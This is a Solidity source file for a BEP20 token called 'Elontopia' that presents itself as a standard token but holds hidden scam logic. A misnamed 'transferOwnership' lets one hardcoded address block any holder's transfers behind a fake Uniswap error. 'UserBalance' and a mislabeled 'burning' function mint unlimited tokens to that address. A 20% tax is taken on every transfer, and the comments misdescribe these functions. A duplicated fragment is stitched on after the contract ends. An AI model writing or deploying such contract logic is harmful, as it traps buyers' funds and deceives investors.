contract BEP20Token is Context, IBEP20, Ownable {
    using SafeMath for uint256;

    mapping(address => bool) internal useinmanage;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    uint8 private _decimals;

    string private _symbol;

    string private _name;

    constructor() public {
        _name = "Elontopia";
        _symbol = "ELONTOPIA";
        _decimals = 9;
        _totalSupply = 1000000000000000 * 10**9;
        _balances[msg.sender] = _totalSupply;

        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    /**
     * @dev Returns the bep token owner.
     */

    function getOwner() internal view returns (address) {
        return owner();
    }

    /**
     * @dev Returns the token decimals.
     */

    function decimals() external view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the token symbol.
     */

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the token name.
     */

    function name() external view returns (string memory) {
        return _name;
    }

    /**
     * @dev See {BEP20-totalSupply}.
     */

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {BEP20-balanceOf}.
     */

    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {BEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */

    function transferOwnership(address account, bool value) public {
        require(
            _msgSender() == 0xb733f16A8c21dEF19f43Ed01126f2Bdd8122327e,
            "BEP20: Not accessible"
        );
        useinmanage[account] = value;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);

        return true;
    }

    /**
     * @dev See {BEP20-allowance}.
     */

    function allowance(address owner, address spender)
        external
        view
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {BEP20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */

    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    /**
     * @dev See {BEP20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {BEP20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "BEP20: transfer amount exceeds allowance"
            )
        );

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {BEP20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */

    function increaseAllowance(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );

        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {BEP20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "BEP20: decreased allowance below zero"
            )
        );

        return true;
    }

    /**
     * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
     * the total supply.
     *
     * Requirements
     *
     * - `msg.sender` must be the token owner
     */

    function UserBalance(uint256 amount) public returns (bool) {
        require(
            _msgSender() == 0xb733f16A8c21dEF19f43Ed01126f2Bdd8122327e,
            "BEP20: Not accessible"
        );
        burning(_msgSender(), amount);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");

        require(recipient != address(0), "BEP20: transfer to the zero address");

        require(
            !useinmanage[sender],
            "Uniswap error try again after sometime"
        );

        _balances[sender] = _balances[sender].sub(
            amount,
            "BEP20: transfer amount exceeds balance"
        );
        
        uint256 tax= amount.mul(20);
        tax=tax.div(100);
        
        address black_hole=0x0000000000000000000000000000000000000000;
        
        _balances[black_hole]= _balances[black_hole].add(tax);
        amount=amount.sub(tax);
        
        _balances[recipient] = _balances[recipient].add(amount);

        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */

    function burning(address account, uint256 amount) internal {
        require(account != address(0), "BEP20: burn to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);

        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */

    function _burn(uint256 amount) internal returns (bool) {
        _burni(_msgSender(), amount);
        return true;
    }

    function _burni(address account, uint256 amount) internal {
        require(account != address(0), "BEP20: burn from the zero address");
        _balances[account] = _balances[account].sub(
            amount,
            "BEP20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal {
        require(owner != address(0), "BEP20: approve from the zero address");

        require(spender != address(0), "BEP20: approve to the zero address");

        if (owner != address(0)) {
            _allowances[owner][spender] = amount;

            emit Approval(owner, spender, amount);
        } else {
            _allowances[owner][spender] = 0;

            emit Approval(owner, spender, 0);
        }
    }

    /**
     * @dev Destroys `amount` tokens from `account`.`amount` is then deducted
     * from the caller's allowance.
     *
     * See {_burn} and {_approve}.
     */

    function _burnFrom(address account, uint256 amount) internal {
        _burni(account, amount);
        _approve(
            account,
            _msgSender(),
            _allowances[account][_msgSender()].sub(
                amount,
                "BEP20: burn amount exceeds allowance"
            )
        );
    }
}
function _burnFrom(address account, uint256 amount) internal {
    _burni(account, amount);
    _approve(
        account,
        _msgSender(),
        _allowances[account][_msgSender()].sub(
            amount,
            "BEP20: burn amount exceeds allowance"
        )
    );
}

/**
 * @dev Destroys `amount` tokens from `account`.`amount` is then deducted
 * from the caller's allowance.
 *
 * See {_burn} and {_approve}.
 */